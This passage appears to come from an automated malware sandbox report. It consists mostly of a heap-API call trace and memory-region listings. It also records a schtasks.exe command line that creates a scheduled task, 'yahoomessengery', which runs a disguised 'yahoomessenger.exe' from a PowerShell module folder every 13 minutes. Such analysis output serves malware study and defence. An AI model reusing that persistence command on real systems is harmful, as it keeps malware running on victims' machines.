returned 1 [0065.367] GetProcessHeap () returned 0x330000 [0065.367] GetProcessHeap () returned 0x330000 [0065.367] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x345c60) returned 1 [0065.367] GetProcessHeap () returned 0x330000 [0065.367] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x345c60) returned 0x20 [0065.368] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x345c60 | out: hHeap=0x330000) returned 1 [0065.368] GetProcessHeap () returned 0x330000 [0065.368] GetProcessHeap () returned 0x330000 [0065.368] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x34c3c0) returned 1 [0065.368] GetProcessHeap () returned 0x330000 [0065.368] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x34c3c0) returned 0x16 [0065.369] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34c3c0 | out: hHeap=0x330000) returned 1 [0065.369] GetProcessHeap () returned 0x330000 [0065.369] GetProcessHeap () returned 0x330000 [0065.369] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x34c240) returned 1 [0065.369] GetProcessHeap () returned 0x330000 [0065.369] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x34c240) returned 0x18 [0065.369] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34c240 | out: hHeap=0x330000) returned 1 [0065.369] GetProcessHeap () returned 0x330000 [0065.369] GetProcessHeap () returned 0x330000 [0065.369] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x345c30) returned 1 [0065.369] GetProcessHeap () returned 0x330000 [0065.369] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x345c30) returned 0x20 [0065.370] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x345c30 | out: hHeap=0x330000) returned 1 [0065.370] GetProcessHeap () returned 0x330000 [0065.370] GetProcessHeap () returned 0x330000 [0065.370] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x34bb70) returned 1 [0065.370] GetProcessHeap () returned 0x330000 [0065.371] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x34bb70) returned 0x2 [0065.371] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34bb70 | out: hHeap=0x330000) returned 1 [0065.371] GetProcessHeap () returned 0x330000 [0065.371] GetProcessHeap () returned 0x330000 [0065.371] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x345a80) returned 1 [0065.371] GetProcessHeap () returned 0x330000 [0065.371] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x345a80) returned 0x20 [0065.372] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x345a80 | out: hHeap=0x330000) returned 1 [0065.373] GetProcessHeap () returned 0x330000 [0065.373] GetProcessHeap () returned 0x330000 [0065.373] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x345ab0) returned 1 [0065.373] GetProcessHeap () returned 0x330000 [0065.373] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x345ab0) returned 0x20 [0065.374] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x345ab0 | out: hHeap=0x330000) returned 1 [0065.374] GetProcessHeap () returned 0x330000 [0065.374] GetProcessHeap () returned 0x330000 [0065.374] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x345ae0) returned 1 [0065.374] GetProcessHeap () returned 0x330000 [0065.374] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x345ae0) returned 0x20 [0065.375] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x345ae0 | out: hHeap=0x330000) returned 1 [0065.375] GetProcessHeap () returned 0x330000 [0065.375] GetProcessHeap () returned 0x330000 [0065.375] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x345b10) returned 1 [0065.375] GetProcessHeap () returned 0x330000 [0065.375] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x345b10) returned 0x20 [0065.376] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x345b10 | out: hHeap=0x330000) returned 1 [0065.376] GetProcessHeap () returned 0x330000 [0065.376] GetProcessHeap () returned 0x330000 [0065.376] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x34cd00) returned 1 [0065.376] GetProcessHeap () returned 0x330000 [0065.376] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x34cd00) returned 0x20 [0065.377] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34cd00 | out: hHeap=0x330000) returned 1 [0065.377] GetProcessHeap () returned 0x330000 [0065.377] GetProcessHeap () returned 0x330000 [0065.377] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x34d7e0) returned 1 [0065.377] GetProcessHeap () returned 0x330000 [0065.377] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x34d7e0) returned 0xa [0065.377] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34d7e0 | out: hHeap=0x330000) returned 1 [0065.377] GetProcessHeap () returned 0x330000 [0065.377] GetProcessHeap () returned 0x330000 [0065.377] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x34cd30) returned 1 [0065.377] GetProcessHeap () returned 0x330000 [0065.377] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x34cd30) returned 0x20 [0065.378] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34cd30 | out: hHeap=0x330000) returned 1 [0065.378] GetProcessHeap () returned 0x330000 [0065.378] GetProcessHeap () returned 0x330000 [0065.378] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x347c10) returned 1 [0065.378] GetProcessHeap () returned 0x330000 [0065.378] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x347c10) returned 0x30 [0065.379] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x347c10 | out: hHeap=0x330000) returned 1 [0065.379] GetProcessHeap () returned 0x330000 [0065.379] GetProcessHeap () returned 0x330000 [0065.379] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x34cd60) returned 1 [0065.379] GetProcessHeap () returned 0x330000 [0065.379] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x34cd60) returned 0x20 [0065.380] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34cd60 | out: hHeap=0x330000) returned 1 [0065.380] GetProcessHeap () returned 0x330000 [0065.380] GetProcessHeap () returned 0x330000 [0065.380] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x347c50) returned 1 [0065.380] GetProcessHeap () returned 0x330000 [0065.380] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x347c50) returned 0x30 [0065.381] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x347c50 | out: hHeap=0x330000) returned 1 [0065.381] GetProcessHeap () returned 0x330000 [0065.381] GetProcessHeap () returned 0x330000 [0065.381] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x34cf40) returned 1 [0065.381] GetProcessHeap () returned 0x330000 [0065.381] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x34cf40) returned 0x20 [0065.382] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34cf40 | out: hHeap=0x330000) returned 1 [0065.382] GetProcessHeap () returned 0x330000 [0065.382] GetProcessHeap () returned 0x330000 [0065.382] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x34d700) returned 1 [0065.382] GetProcessHeap () returned 0x330000 [0065.382] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x34d700) returned 0x10 [0065.382] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34d700 | out: hHeap=0x330000) returned 1 [0065.382] GetProcessHeap () returned 0x330000 [0065.382] GetProcessHeap () returned 0x330000 [0065.382] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x34cf10) returned 1 [0065.382] GetProcessHeap () returned 0x330000 [0065.382] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x34cf10) returned 0x20 [0065.383] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34cf10 | out: hHeap=0x330000) returned 1 [0065.383] GetProcessHeap () returned 0x330000 [0065.383] GetProcessHeap () returned 0x330000 [0065.383] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x34d720) returned 1 [0065.383] GetProcessHeap () returned 0x330000 [0065.383] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x34d720) returned 0x10 [0065.383] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34d720 | out: hHeap=0x330000) returned 1 [0065.383] GetProcessHeap () returned 0x330000 [0065.383] GetProcessHeap () returned 0x330000 [0065.383] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x34cee0) returned 1 [0065.383] GetProcessHeap () returned 0x330000 [0065.383] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x34cee0) returned 0x20 [0065.383] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34cee0 | out: hHeap=0x330000) returned 1 [0065.384] GetProcessHeap () returned 0x330000 [0065.384] GetProcessHeap () returned 0x330000 [0065.384] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x34d740) returned 1 [0065.384] GetProcessHeap () returned 0x330000 [0065.384] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x34d740) returned 0xe [0065.384] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34d740 | out: hHeap=0x330000) returned 1 [0065.384] GetProcessHeap () returned 0x330000 [0065.384] GetProcessHeap () returned 0x330000 [0065.384] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x34ceb0) returned 1 [0065.384] GetProcessHeap () returned 0x330000 [0065.384] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x34ceb0) returned 0x20 [0065.385] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34ceb0 | out: hHeap=0x330000) returned 1 [0065.385] GetProcessHeap () returned 0x330000 [0065.385] GetProcessHeap () returned 0x330000 [0065.385] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x34d760) returned 1 [0065.385] GetProcessHeap () returned 0x330000 [0065.385] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x34d760) returned 0x16 [0065.385] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34d760 | out: hHeap=0x330000) returned 1 [0065.385] GetProcessHeap () returned 0x330000 [0065.385] GetProcessHeap () returned 0x330000 [0065.385] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x34ce80) returned 1 [0065.385] GetProcessHeap () returned 0x330000 [0065.386] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x34ce80) returned 0x20 [0065.386] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34ce80 | out: hHeap=0x330000) returned 1 [0065.386] GetProcessHeap () returned 0x330000 [0065.386] GetProcessHeap () returned 0x330000 [0065.386] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x34d780) returned 1 [0065.386] GetProcessHeap () returned 0x330000 [0065.386] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x34d780) returned 0x16 [0065.387] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34d780 | out: hHeap=0x330000) returned 1 [0065.387] GetProcessHeap () returned 0x330000 [0065.387] GetProcessHeap () returned 0x330000 [0065.387] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x34ce50) returned 1 [0065.387] GetProcessHeap () returned 0x330000 [0065.387] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x34ce50) returned 0x20 [0065.387] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34ce50 | out: hHeap=0x330000) returned 1 [0065.426] GetProcessHeap () returned 0x330000 [0065.426] GetProcessHeap () returned 0x330000 [0065.426] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x369e70) returned 1 [0065.426] GetProcessHeap () returned 0x330000 [0065.427] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x369e70) returned 0x82 [0065.427] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x369e70 | out: hHeap=0x330000) returned 1 [0065.427] GetProcessHeap () returned 0x330000 [0065.427] GetProcessHeap () returned 0x330000 [0065.427] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x34ce20) returned 1 [0065.427] GetProcessHeap () returned 0x330000 [0065.427] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x34ce20) returned 0x20 [0065.428] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34ce20 | out: hHeap=0x330000) returned 1 [0065.428] GetProcessHeap () returned 0x330000 [0065.428] GetProcessHeap () returned 0x330000 [0065.428] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x34d7c0) returned 1 [0065.428] GetProcessHeap () returned 0x330000 [0065.428] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x34d7c0) returned 0xe [0065.428] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34d7c0 | out: hHeap=0x330000) returned 1 [0065.428] GetProcessHeap () returned 0x330000 [0065.428] GetProcessHeap () returned 0x330000 [0065.428] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x34cdf0) returned 1 [0065.428] GetProcessHeap () returned 0x330000 [0065.428] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x34cdf0) returned 0x20 [0065.429] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34cdf0 | out: hHeap=0x330000) returned 1 [0065.429] GetProcessHeap () returned 0x330000 [0065.429] GetProcessHeap () returned 0x330000 [0065.429] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x34bb90) returned 1 [0065.429] GetProcessHeap () returned 0x330000 [0065.429] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x34bb90) returned 0x18 [0065.429] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34bb90 | out: hHeap=0x330000) returned 1 [0065.429] GetProcessHeap () returned 0x330000 [0065.429] GetProcessHeap () returned 0x330000 [0065.429] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x345b40) returned 1 [0065.429] GetProcessHeap () returned 0x330000 [0065.429] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x345b40) returned 0x20 [0065.429] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x345b40 | out: hHeap=0x330000) returned 1 [0065.429] GetProcessHeap () returned 0x330000 [0065.430] GetProcessHeap () returned 0x330000 [0065.430] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x345b70) returned 1 [0065.430] GetProcessHeap () returned 0x330000 [0065.430] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x345b70) returned 0x20 [0065.430] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x345b70 | out: hHeap=0x330000) returned 1 [0065.430] GetProcessHeap () returned 0x330000 [0065.430] GetProcessHeap () returned 0x330000 [0065.430] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x345ba0) returned 1 [0065.430] GetProcessHeap () returned 0x330000 [0065.431] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x345ba0) returned 0x20 [0065.431] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x345ba0 | out: hHeap=0x330000) returned 1 [0065.431] GetProcessHeap () returned 0x330000 [0065.431] GetProcessHeap () returned 0x330000 [0065.431] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x345bd0) returned 1 [0065.431] GetProcessHeap () returned 0x330000 [0065.431] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x345bd0) returned 0x20 [0065.432] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x345bd0 | out: hHeap=0x330000) returned 1 [0065.432] GetProcessHeap () returned 0x330000 [0065.432] GetProcessHeap () returned 0x330000 [0065.432] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x34bbb0) returned 1 [0065.432] GetProcessHeap () returned 0x330000 [0065.432] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x34bbb0) returned 0x18 [0065.432] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34bbb0 | out: hHeap=0x330000) returned 1 [0065.432] GetProcessHeap () returned 0x330000 [0065.432] GetProcessHeap () returned 0x330000 [0065.432] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x345c00) returned 1 [0065.432] GetProcessHeap () returned 0x330000 [0065.432] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x345c00) returned 0x20 [0065.433] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x345c00 | out: hHeap=0x330000) returned 1 [0065.433] GetProcessHeap () returned 0x330000 [0065.433] GetProcessHeap () returned 0x330000 [0065.433] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x345c90) returned 1 [0065.433] GetProcessHeap () returned 0x330000 [0065.433] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x345c90) returned 0x20 [0065.433] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x345c90 | out: hHeap=0x330000) returned 1 [0065.433] GetProcessHeap () returned 0x330000 [0065.433] GetProcessHeap () returned 0x330000 [0065.433] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x345cf0) returned 1 [0065.434] GetProcessHeap () returned 0x330000 [0065.434] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x345cf0) returned 0x20 [0065.434] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x345cf0 | out: hHeap=0x330000) returned 1 [0065.435] GetProcessHeap () returned 0x330000 [0065.435] GetProcessHeap () returned 0x330000 [0065.435] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x345d50) returned 1 [0065.435] GetProcessHeap () returned 0x330000 [0065.435] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x345d50) returned 0x20 [0065.436] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x345d50 | out: hHeap=0x330000) returned 1 [0065.436] GetProcessHeap () returned 0x330000 [0065.436] GetProcessHeap () returned 0x330000 [0065.436] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x345d80) returned 1 [0065.436] GetProcessHeap () returned 0x330000 [0065.437] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x345d80) returned 0x20 [0065.437] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x345d80 | out: hHeap=0x330000) returned 1 [0065.437] GetProcessHeap () returned 0x330000 [0065.437] GetProcessHeap () returned 0x330000 [0065.437] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x34bbd0) returned 1 [0065.437] GetProcessHeap () returned 0x330000 [0065.438] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x34bbd0) returned 0x18 [0065.438] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34bbd0 | out: hHeap=0x330000) returned 1 [0065.438] GetProcessHeap () returned 0x330000 [0065.438] GetProcessHeap () returned 0x330000 [0065.438] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x345cc0) returned 1 [0065.438] GetProcessHeap () returned 0x330000 [0065.438] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x345cc0) returned 0x20 [0065.439] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x345cc0 | out: hHeap=0x330000) returned 1 [0065.439] GetProcessHeap () returned 0x330000 [0065.439] GetProcessHeap () returned 0x330000 [0065.439] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x34bb50) returned 1 [0065.439] GetProcessHeap () returned 0x330000 [0065.439] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x34bb50) returned 0x18 [0065.439] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34bb50 | out: hHeap=0x330000) returned 1 [0065.439] exit (_Code=0) Thread: id = 119 os_tid = 0xf50 Process: id = "20" image_name = "schtasks.exe" filename = "c:\\windows\\system32\\schtasks.exe" page_root = "0x3dc29000" os_pid = "0xf54" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "6" os_parent_pid = "0xa54" cmd_line = "schtasks.exe /create /tn \"yahoomessengery\" /sc MINUTE /mo 13 /tr \"'C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\en-US\\yahoomessenger.exe'\" /f" cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f1fb" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 2360 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 2361 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 2362 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 2363 start_va = 0x60000 end_va = 0xdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000060000" filename = "" Region: id = 2364 start_va = 0x77be0000 end_va = 0x77d88fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2365 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 2366 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2367 start_va = 0xffd70000 end_va = 0xffdb7fff monitored = 1 entry_point = 0xffd9966c region_type = mapped_file name = "schtasks.exe" filename = "\\Windows\\System32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe") Region: id = 2368 start_va = 0x7fefff00000 end_va = 0x7fefff00fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 2369 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 2370 start_va = 0x7fffffdb000 end_va = 0x7fffffdbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdb000" filename = "" Region: id = 2371 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 2372 start_va = 0xe0000 end_va = 0x3cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 2373 start_va = 0x779c0000 end_va = 0x77adefff monitored = 0 entry_point = 0x779d5340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 2374 start_va = 0x7fefddf0000 end_va = 0x7fefde5bfff monitored = 0 entry_point = 0x7fefddf2780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 2375 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 2376 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 2377 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 2378 start_va = 0xe0000 end_va = 0x146fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2379 start_va = 0x2d0000 end_va = 0x3cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002d0000" filename = "" Region: id = 2380 start_va = 0x7feffd90000 end_va = 0x7feffe2efff monitored = 0 entry_point = 0x7feffd925a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 2381 start_va = 0x77ae0000 end_va = 0x77bd9fff monitored = 0 entry_point = 0x77afa2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 2382 start_va = 0x7feff680000 end_va = 0x7feff6e6fff monitored = 0 entry_point = 0x7feff68b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 2383 start_va = 0x7feff6f0000 end_va = 0x7feff6fdfff monitored = 0 entry_point = 0x7feff6f1080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 2384 start_va = 0x7feff4d0000 end_va = 0x7feff598fff monitored = 0 entry_point = 0x7feff54a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 2385 start_va = 0x7feff810000 end_va = 0x7feffa12fff monitored = 0 entry_point = 0x7feff833330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 2386 start_va = 0x7fefdf20000 end_va = 0x7fefe04cfff monitored = 0 entry_point = 0x7fefdf6ed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 2387 start_va = 0x7feff5a0000 end_va = 0x7feff676fff monitored = 0 entry_point = 0x7feff5a3274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 2388 start_va = 0x7feffa20000 end_va = 0x7feffa90fff monitored = 0 entry_point = 0x7feffa31e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 2389 start_va = 0x7fefb0b0000 end_va = 0x7fefb0b9fff monitored = 0 entry_point = 0x7fefb0b260c region_type = mapped_file name = "ktmw32.dll" filename = "\\Windows\\System32\\ktmw32.dll" (normalized: "c:\\windows\\system32\\ktmw32.dll") Region: id = 2390 start_va = 0x150000 end_va = 0x20ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 2391 start_va = 0x3d0000 end_va = 0x4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003d0000" filename = "" Region: id = 2392 start_va = 0x4d0000 end_va = 0x657fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004d0000" filename = "" Region: id = 2393 start_va = 0x150000 end_va = 0x178fff monitored = 0 entry_point = 0x151010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2394 start_va = 0x200000 end_va = 0x20ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 2395 start_va = 0x150000 end_va = 0x178fff monitored = 0 entry_point = 0x151010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2396 start_va = 0x7feffaa0000 end_va = 0x7feffacdfff monitored = 0 entry_point = 0x7feffaa1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2397 start_va = 0x7feff700000 